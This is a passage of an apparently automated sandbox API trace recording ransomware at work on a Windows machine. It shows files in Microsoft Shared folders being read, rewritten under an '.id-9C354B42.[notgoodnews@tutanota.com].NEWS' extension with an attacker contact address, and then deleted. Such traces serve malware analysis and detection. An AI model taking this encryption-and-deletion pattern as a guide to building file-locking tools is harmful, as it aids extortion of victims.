returned 5 [0061.318] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0061.318] lstrlenW (lpString=".ppt") returned 4 [0061.318] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.318] lstrlenW (lpString=".zip") returned 4 [0061.318] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.318] lstrlenW (lpString=".rar") returned 4 [0061.318] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.318] lstrlenW (lpString=".bz2") returned 4 [0061.318] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.318] lstrlenW (lpString=".7z") returned 3 [0061.319] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.319] lstrlenW (lpString=".dbf") returned 4 [0061.319] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.319] lstrlenW (lpString=".1cd") returned 4 [0061.319] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.319] lstrlenW (lpString=".jpg") returned 4 [0061.319] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.319] lstrlenW (lpString=".doc") returned 4 [0061.319] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.319] lstrlenW (lpString=".docx") returned 5 [0061.319] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0061.319] lstrlenW (lpString=".pdf") returned 4 [0061.319] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.319] lstrlenW (lpString=".xls") returned 4 [0061.319] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.319] lstrlenW (lpString=".xlsx") returned 5 [0061.320] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0061.320] lstrlenW (lpString=".ppt") returned 4 [0061.320] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.320] lstrlenW (lpString=".zip") returned 4 [0061.320] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.320] lstrlenW (lpString=".rar") returned 4 [0061.320] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.320] lstrlenW (lpString=".bz2") returned 4 [0061.320] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.320] lstrlenW (lpString=".7z") returned 3 [0061.320] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.320] lstrlenW (lpString=".dbf") returned 4 [0061.320] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.320] lstrlenW (lpString=".1cd") returned 4 [0061.320] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0061.320] lstrlenW (lpString=".jpg") returned 4 [0061.320] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.321] lstrcmpiW (lpString1=".DAT", lpString2=".NEWS") returned -1 [0061.321] lstrlenW (lpString="STOCKS.DAT") returned 10 [0061.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.323] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=39017) returned 1 [0061.323] CloseHandle (hObject=0x1f0) returned 1 [0061.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0061.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.323] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.323] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.324] GetLastError () returned 0x0 [0061.324] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x9869, lpOverlapped=0x0) returned 1 [0061.327] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x9870, lpOverlapped=0x0) returned 1 [0061.330] ReadFile (in: hFile=0x1f0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.330] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0061.330] SetEndOfFile (hFile=0x1e8) returned 1 [0061.330] CloseHandle (hObject=0x1e8) returned 1 [0061.331] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.331] SetEndOfFile (hFile=0x1f0) returned 1 [0061.333] CloseHandle (hObject=0x1f0) returned 1 [0061.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.334] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0061.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.334] lstrlenW (lpString=".doc") returned 4 [0061.334] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0061.334] lstrlenW (lpString=".docx") returned 5 [0061.334] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0061.334] lstrlenW (lpString=".pdf") returned 4 [0061.334] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0061.334] lstrlenW (lpString=".xls") returned 4 [0061.334] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0061.334] lstrlenW (lpString=".xlsx") returned 5 [0061.334] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0061.334] lstrlenW (lpString=".ppt") returned 4 [0061.335] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0061.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.335] lstrlenW (lpString=".zip") returned 4 [0061.335] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0061.335] lstrlenW (lpString=".rar") returned 4 [0061.335] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0061.335] lstrlenW (lpString=".bz2") returned 4 [0061.335] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0061.335] lstrlenW (lpString=".7z") returned 3 [0061.335] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0061.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.335] lstrlenW (lpString=".dbf") returned 4 [0061.335] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0061.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.335] lstrlenW (lpString=".1cd") returned 4 [0061.335] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0061.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.335] lstrlenW (lpString=".jpg") returned 4 [0061.335] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0061.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.336] lstrlenW (lpString=".doc") returned 4 [0061.336] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0061.336] lstrlenW (lpString=".docx") returned 5 [0061.336] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0061.336] lstrlenW (lpString=".pdf") returned 4 [0061.336] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0061.336] lstrlenW (lpString=".xls") returned 4 [0061.336] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0061.336] lstrlenW (lpString=".xlsx") returned 5 [0061.336] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0061.336] lstrlenW (lpString=".ppt") returned 4 [0061.336] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0061.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.336] lstrlenW (lpString=".zip") returned 4 [0061.336] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0061.336] lstrlenW (lpString=".rar") returned 4 [0061.336] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0061.336] lstrlenW (lpString=".bz2") returned 4 [0061.337] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0061.337] lstrlenW (lpString=".7z") returned 3 [0061.337] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0061.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.337] lstrlenW (lpString=".dbf") returned 4 [0061.337] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0061.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.337] lstrlenW (lpString=".1cd") returned 4 [0061.337] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0061.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0061.337] lstrlenW (lpString=".jpg") returned 4 [0061.337] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0061.337] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0061.337] lstrlenW (lpString="STOCKS.XML") returned 10 [0061.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0061.751] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=2687) returned 1 [0061.751] CloseHandle (hObject=0x1e4) returned 1 [0061.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0061.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0061.752] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.752] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.752] GetLastError () returned 0x0 [0061.752] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0xa7f, lpOverlapped=0x0) returned 1 [0061.763] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xa80, lpOverlapped=0x0) returned 1 [0061.765] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.765] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0061.765] SetEndOfFile (hFile=0x1f4) returned 1 [0061.765] CloseHandle (hObject=0x1f4) returned 1 [0061.767] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.767] SetEndOfFile (hFile=0x1e4) returned 1 [0061.768] CloseHandle (hObject=0x1e4) returned 1 [0061.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.769] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0061.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.769] lstrlenW (lpString=".doc") returned 4 [0061.769] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.769] lstrlenW (lpString=".docx") returned 5 [0061.769] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0061.769] lstrlenW (lpString=".pdf") returned 4 [0061.769] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.769] lstrlenW (lpString=".xls") returned 4 [0061.769] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.769] lstrlenW (lpString=".xlsx") returned 5 [0061.769] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0061.769] lstrlenW (lpString=".ppt") returned 4 [0061.769] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.769] lstrlenW (lpString=".zip") returned 4 [0061.769] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.769] lstrlenW (lpString=".rar") returned 4 [0061.770] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.770] lstrlenW (lpString=".bz2") returned 4 [0061.770] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.770] lstrlenW (lpString=".7z") returned 3 [0061.770] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.770] lstrlenW (lpString=".dbf") returned 4 [0061.770] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.770] lstrlenW (lpString=".1cd") returned 4 [0061.770] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.770] lstrlenW (lpString=".jpg") returned 4 [0061.770] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.770] lstrlenW (lpString=".doc") returned 4 [0061.770] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.770] lstrlenW (lpString=".docx") returned 5 [0061.770] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0061.770] lstrlenW (lpString=".pdf") returned 4 [0061.771] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.771] lstrlenW (lpString=".xls") returned 4 [0061.771] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.771] lstrlenW (lpString=".xlsx") returned 5 [0061.771] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0061.771] lstrlenW (lpString=".ppt") returned 4 [0061.771] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.771] lstrlenW (lpString=".zip") returned 4 [0061.771] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.771] lstrlenW (lpString=".rar") returned 4 [0061.771] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.771] lstrlenW (lpString=".bz2") returned 4 [0061.771] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.771] lstrlenW (lpString=".7z") returned 3 [0061.771] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.771] lstrlenW (lpString=".dbf") returned 4 [0061.771] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.771] lstrlenW (lpString=".1cd") returned 4 [0061.771] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0061.772] lstrlenW (lpString=".jpg") returned 4 [0061.772] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.772] lstrcmpiW (lpString1=".TXT", lpString2=".NEWS") returned 1 [0061.772] lstrlenW (lpString="METCONV.TXT") returned 11 [0061.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0061.779] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1183416) returned 1 [0061.780] CloseHandle (hObject=0x1e4) returned 1 [0061.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0061.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0061.780] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.780] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.781] GetLastError () returned 0x0 [0061.781] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0061.863] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0062.546] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0062.591] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0062.600] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.600] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.600] SetEndOfFile (hFile=0x1f4) returned 1 [0062.600] CloseHandle (hObject=0x1f4) returned 1 [0062.601] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.601] SetEndOfFile (hFile=0x1e4) returned 1 [0062.854] CloseHandle (hObject=0x1e4) returned 1 [0063.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0063.304] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0063.304] lstrlenW (lpString="C:\\Program 